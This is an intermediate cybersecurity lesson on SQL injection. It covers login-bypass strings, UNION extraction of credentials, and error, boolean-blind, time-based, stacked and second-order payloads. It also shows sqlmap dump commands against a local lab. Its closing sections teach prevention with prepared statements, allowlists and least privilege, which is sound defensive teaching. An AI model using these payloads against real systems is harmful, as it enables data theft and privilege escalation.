LESSON 36 · INTERMEDIATE10 min read

SQL Injection Deep Dive: Union, Error, Blind, and Time-Based

Follow untrusted input into a SQL parser, exploit union, error, boolean, time-based, stacked, and second-order injection in a lab, and rebuild the query layer so the class disappears.

OWASP Top 10 · MITRE ATT&CK · NIST CSF 2.0Free to readModule 8 of 14
YOUR NEXT SMALL WINS

By the end, you’ll be able to…

  • Explain how a database parses a query and why concatenation turns data into SQL syntax.
  • Use UNION, error-based, boolean-blind, time-based, stacked, and second-order techniques in a local lab.
  • Operate sqlmap deliberately with level, risk, technique, and tamper options instead of treating it as a magic button.
  • Replace vulnerable query construction with prepared statements, allowlists, and least-privilege database roles.

01What Happens When a Database Parses SQL

A SQL statement is a small program. The database client sends text to the server, the server tokenises it into keywords, identifiers, operators, and literals, builds a syntax tree, plans an execution strategy, and runs it. The parser decides what is code and what is data based on the syntax, not on where the string came from. If user input is concatenated into the statement before parsing, the parser cannot tell the difference between the developer's SQL and the attacker's SQL. That is the entire vulnerability.

Injection is possible anywhere a value is placed into query text: a WHERE clause, an INSERT value, an ORDER BY column, a LIMIT count, a table name, or a stored procedure argument. Developers often protect the obvious login form and forget the sort parameter, the report filter, or the internal admin search. The risk is highest when the query result is shown, when errors are verbose, and when the database account can read or write more than the feature needs.

Parameter binding changes the protocol, not the string. The application sends the statement with placeholders and sends the values separately, so the server parses the statement once with a fixed structure and then binds each value as a literal. A quote inside the value is just a quote in a string, not a syntax boundary. This is why parameterisation is structural: it removes the attacker's ability to add SQL tokens, regardless of how creative the payload is.

query-shape.sqlSQL
-- The application intends this shape:SELECT id, email FROM users WHERE email = ? AND active = 1;-- Concatenation produces a different program when input contains a quote:-- input: ' OR '1'='1' --SELECT id, email FROM users WHERE email = '' OR '1'='1' -- ' AND active = 1;-- The parser now sees a boolean expression that is always true,-- and the comment removes the rest of the original condition.-- With binding, the same input is compared literally and matches nothing.

02Concatenation, Parameters, and the Login Bypass

The classic vulnerable login builds a query by gluing strings together. If the code is SELECT id FROM users WHERE username = '" + username + "' AND password = '" + password + "', an attacker can supply a username that closes the quote, adds a condition that is always true, and comments out the password check. The database returns the first matching row, which in a training application is often the administrator. The application then issues a session for that row.

Take the payload ' OR '1'='1' -- one character at a time. The leading single quote closes the username literal. The space, OR, space begins a new boolean expression. '1'='1' is always true. The two hyphens start a SQL comment, and the trailing space is required by MySQL because -- must be followed by whitespace; the final hyphen is padding that makes the space visible in a URL. MySQL also accepts # as a comment, while Oracle and PostgreSQL require -- and no trailing space is needed. In a URL-encoded request, the space becomes + or %20.

A variant is admin'-- , which closes the quote, comments out the password clause, and logs in as the first user named admin if that account exists. Another is ' OR 1=1 LIMIT 1-- , which avoids relying on string comparison and controls which row is returned. These payloads are lab material. On a real target, authentication bypass is a critical finding, and the correct fix is not to filter quotes but to bind parameters and to store passwords with a slow, salted hash rather than comparing plaintext.

login_query.py🐍Python
Ctrl + ↵
Output
Click Run or press Ctrl+Enter
Output will appear here after you run the code.

03UNION-Based Extraction

UNION combines the result of two SELECT statements into one result set. To use it for extraction, the injected statement must have the same number of columns as the original and compatible data types, and the application must display the first query's result set. The first task is therefore to count columns. Inject ORDER BY 1, then ORDER BY 2, and so on until the database returns an error. The last successful number is the column count. Alternatively, add UNION SELECT NULL repeatedly until the error disappears; NULL is compatible with most types.

Once the count is known, find which columns are rendered on the page. Inject UNION SELECT 'a',NULL,NULL, then move the string marker across the columns until it appears in the response. Those positions become your output channels. If the page shows no query output at all, UNION is not useful and you move to error, boolean, or time-based techniques. This decision point is why blind testing matters: many modern APIs never render rows directly.

Fingerprinting tells you which functions and catalogues are available. MySQL exposes version(), database(), user(), and @@version; PostgreSQL exposes version(), current_database(), and current_user; Microsoft SQL Server exposes @@version, DB_NAME(), and SYSTEM_USER; Oracle exposes banner from v$version and USER; SQLite exposes sqlite_version(). With the engine known, read the catalogue: information_schema.tables and information_schema.columns on MySQL, PostgreSQL, and SQL Server; all_tables and all_tab_columns on Oracle; sqlite_master on SQLite. Extract one row at a time with LIMIT and OFFSET, or concatenate rows with group_concat where supported.

union-payloads.txtPlain text
-- Step 1: count columns. Stop at the first error.' ORDER BY 1-- -' ORDER BY 2-- -' ORDER BY 3-- -' ORDER BY 4-- -        <-- error here means the query has 3 columns-- Step 2: find rendered columns (MySQL example).' UNION SELECT NULL,NULL,NULL-- -' UNION SELECT 'a',NULL,NULL-- -' UNION SELECT NULL,'a',NULL-- --- Step 3: fingerprint the engine.' UNION SELECT version(),database(),user()-- --- Step 4: list tables and columns.' UNION SELECT table_name,column_name,table_schema  FROM information_schema.columns  WHERE table_schema=database() LIMIT 0,10-- --- Step 5: extract credentials one row at a time.' UNION SELECT username,password,role FROM users LIMIT 0,1-- -' UNION SELECT username,password,role FROM users LIMIT 1,1-- --- Microsoft SQL Server uses -- without a trailing space and concatenates-- with +; Oracle needs FROM dual; SQLite can read sqlite_master instead.

04Error, Boolean, Time, Stacked, and Second-Order

Error-based injection turns database error messages into an output channel. On MySQL, extractvalue(1,concat(0x7e,version())) forces the engine to report a malformed XPath that contains the version string. On SQL Server, converting a string to an integer produces an error that includes the string. On PostgreSQL, an invalid cast can leak a value. These payloads only work when verbose errors reach the client, which is itself a finding: production systems should return a stable message and log the detail privately.

Boolean-blind injection asks the database a yes or no question and infers the answer from a difference in the response, such as content length, status code, or a visible string. A payload such as ' AND SUBSTRING((SELECT database()),1,1)='a'-- - returns the normal page when the first character is a, and an empty or different page when it is not. Automate the comparison across character positions and a candidate alphabet; binary search over ASCII values reduces the number of requests. The technique is slow but reliable and leaves a distinctive request pattern that defenders can detect.

Time-based injection uses a deliberate delay as the signal when no content difference is observable. MySQL offers SLEEP(5) and BENCHMARK; PostgreSQL offers pg_sleep(5); SQL Server uses WAITFOR DELAY '0:0:5'; Oracle uses dbms_pipe.receive_message. A payload such as ' AND SLEEP(5)-- - makes the response arrive about five seconds later if the condition is true. Measure a baseline first, repeat to confirm, and keep delays short in a shared lab. Stacked queries, where a second statement follows a semicolon, are supported by some drivers and not others; MySQL's mysqli_query generally refuses them, while SQL Server and PostgreSQL often allow them when the API permits multiple statements.

Second-order injection stores a payload in a safe-looking place and triggers it later. A registration form may bind the username correctly when inserting it, but an admin report may concatenate that stored username into a different query. The initial request looks harmless; the vulnerability appears when another feature reads the data. Test stored values through every consumer: exports, search, reports, and background jobs. This is also why input validation at the edge is not sufficient; the sink must be safe.

blind-payloads.txtPlain text
-- Error-based (MySQL 5.x style; functions vary by version).' AND extractvalue(1,concat(0x7e,version()))-- --- Boolean blind: is the first character of the database name 'a'?' AND SUBSTRING((SELECT database()),1,1)='a'-- -' AND ASCII(SUBSTRING((SELECT database()),1,1))>100-- --- Time-based: a true condition delays the response.' AND SLEEP(5)-- -                       (MySQL)'; SELECT pg_sleep(5)-- -                (PostgreSQL)'; WAITFOR DELAY '0:0:5'-- -             (SQL Server)-- Stacked query: only where the driver allows multiple statements.'; UPDATE users SET role='admin' WHERE username='student'-- --- Second-order: the payload is stored through a bound insert,-- then concatenated by a later report query.username: student' UNION SELECT password,NULL FROM users-- --- The registration request is safe. The report is not.

05WAF Bypass Concepts and sqlmap in a Lab

A web application firewall inspects requests for known signatures. Bypass techniques exploit differences between what the WAF parses and what the database parses: case variation, inline comments that split keywords, alternative whitespace, URL and double URL encoding, Unicode normalisation, HTTP parameter pollution, JSON or multipart bodies, and chunked transfer encoding. None of these are fixes. They are reminders that a WAF is a speed bump and that the only durable fix is parameterised query construction.

sqlmap automates detection and exploitation. Use it only against a lab you own or an authorised engagement, and use it deliberately. --batch accepts defaults so the tool does not prompt. --level increases the number and variety of tests; --risk enables heavier payloads that can modify data. --dbs, --tables, --columns, and --dump walk the catalogue and extract rows. --technique selects union, error, boolean, time, or stacked. -r reads a saved request file so you keep headers and cookies, and --tamper applies encoding transforms. --os-shell and --file-write are dangerous and should not be used outside a disposable lab.

Read sqlmap's output rather than pasting the final command into a report. It tells you which parameter is injectable, which DBMS it believes it is talking to, which technique worked, and how many requests it sent. Confirm the finding manually with a minimal payload in Repeater. Automated tools can produce false positives on unstable pages and can miss second-order issues entirely. The report should explain the vulnerable query, not just the tool that found it.

sqlmap-lab.shShell
# Authorised local lab only. Confirm the target is yours.TARGET="http://127.0.0.1:3000/rest/products/search?q=apple"# Enumerate databases with a moderate level and risk.sqlmap -u "$TARGET" --batch --level=3 --risk=2 --dbs# Enumerate tables in one database, then dump one table.sqlmap -u "$TARGET" --batch -D appdb --tablessqlmap -u "$TARGET" --batch -D appdb -T users --columnssqlmap -u "$TARGET" --batch -D appdb -T users --dump# Reuse a captured authenticated request instead of rebuilding headers.sqlmap -r login-search.request --batch --dbms=mysql \  --technique=BEUSTQ --threads=2 --level=2 --risk=1# A tamper script is a WAF workaround, not a defence.# sqlmap -u "$TARGET" --batch --tamper=space2comment
Outputstdout
Parameter: q (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=apple' AND 1=1 AND 'x'='x

back-end DBMS: MySQL >= 8.0
available databases [3]:
[*] appdb
[*] information_schema
[*] mysql

06Prevention That Actually Holds

Prepared statements are the primary control. Every major database driver supports them: %s or ? placeholders in Python, ? in Node.js sqlite and mysql2, :name in Oracle, and SqlParameter in .NET. Use them for every value, including numbers, dates, and JSON fragments. The one thing you cannot bind is an identifier such as a column name or sort direction, because the parser needs it before execution. Handle those with a strict allowlist that maps user input to a fixed set of known-safe fragments, never by concatenating the raw value.

Least privilege limits the damage when a query is still wrong. The application account should read and write only the tables it needs, and it should not be able to read the user table from the product search service. Separate accounts for reporting, migrations, and the public API make lateral movement harder. Remove FILE, xp_cmdshell, and other dangerous privileges. Store password hashes with a modern password-hashing function, not plaintext or a fast general-purpose hash, so a successful dump is harder to turn into account takeover.

ORMs reduce but do not eliminate injection. Query builders usually bind values, but raw fragments, order clauses, and dynamic table names can reintroduce concatenation. Review every raw() or whereRaw() call. Return generic errors to users, log details server-side with a correlation ID, and monitor for repeated database errors and unusual query patterns. A WAF can raise the cost of automated attacks but must be described as defence in depth. Finally, add regression tests that send quotes and comment markers through every parameter and assert that the response is unchanged.

safe_query_layer.py🐍Python
Ctrl + ↵
Output
Click Run or press Ctrl+Enter
Output will appear here after you run the code.
LET IT CLICK

The ideas worth keeping.

  • SQL injection is a parser boundary failure: concatenation lets input become syntax.
  • UNION needs matching columns and a rendered output channel; otherwise use error, boolean, or time-based inference.
  • Second-order injection lives in stored data and the later queries that consume it, so every sink must be safe.
  • Prepared statements, identifier allowlists, least privilege, and generic errors are the durable fix; a WAF is only a layer.
TURN UNDERSTANDING INTO SOMETHING YOU CAN DO

Make it yours.

Type and test your code right here in the interactive workspace. Run your solution, check the output, and compare with the worked guide when ready.

01

Exercise 1: Count columns and build a UNION

A lab product page takes an id parameter and displays the product name and description. ORDER BY 1 and ORDER BY 2 succeed; ORDER BY 3 produces a database error. Write the next payloads to find the rendered columns and extract the database version and current user, and explain each step.

Explore a worked solution
one_possible_solution.mdCybersecurity
The successful ORDER BY 2 and failing ORDER BY 3 mean the query returns two columns. Test UNION SELECT NULL,NULL to confirm the types are compatible. Then place a string marker: UNION SELECT 'a',NULL and UNION SELECT NULL,'a'. If the first renders, column one is a string channel. Extract with UNION SELECT version(),user() or the engine equivalent, for example @@version and SYSTEM_USER on SQL Server. If the page only shows the product name, put the extracted value in column one. If no row is rendered at all, UNION is not viable and you move to boolean or time-based testing.

Column count and column type must match the original query. The rendered position is the output channel; without one, blind techniques replace UNION.

02

Exercise 2: Fix a sortable search endpoint

A search endpoint builds SELECT id, name, price FROM products WHERE name LIKE '%" + term + "%' ORDER BY " + sort + " and passes user input for both term and sort. Rewrite it safely and explain why one value can be bound and the other cannot.

Explore a worked solution
one_possible_solution.mdCybersecurity
Bind the search term and allowlist the sort column. Use a fixed SQL string with a placeholder for the term, and map the sort parameter through a dictionary of known columns, defaulting to name. Reject or ignore anything not in the map. The term is a value, so the driver can bind it. The sort column is an identifier that the parser must resolve before execution, so a placeholder cannot be used; the only safe approach is a fixed allowlist. Add a regression test that sends a quote and a comment marker in both parameters and asserts normal results.

Parameterisation covers values, not SQL structure. Identifiers, direction keywords, and table names need an allowlist mapping, never raw concatenation.

A SMALL QUESTION. A USEFUL NEXT STEP.

What stayed with you?

Check the ideas while they’re fresh. Your answers stay in this page and feedback appears as you go.

A LITTLE ACTIVE RECALL0 / 3 answered
01Why does parameter binding stop SQL injection?
02ORDER BY 1 through 4 succeed but ORDER BY 5 errors. What does that tell you?
03Which technique is appropriate when the page never shows query output or errors?

Keep exploring.

The official references behind this lesson, when you want a second angle or the full details.

One lesson closer.

Reading is a start. Trying it yourself makes the connection.

Completion is saved in this browser. It records reading and hands-on practice progress.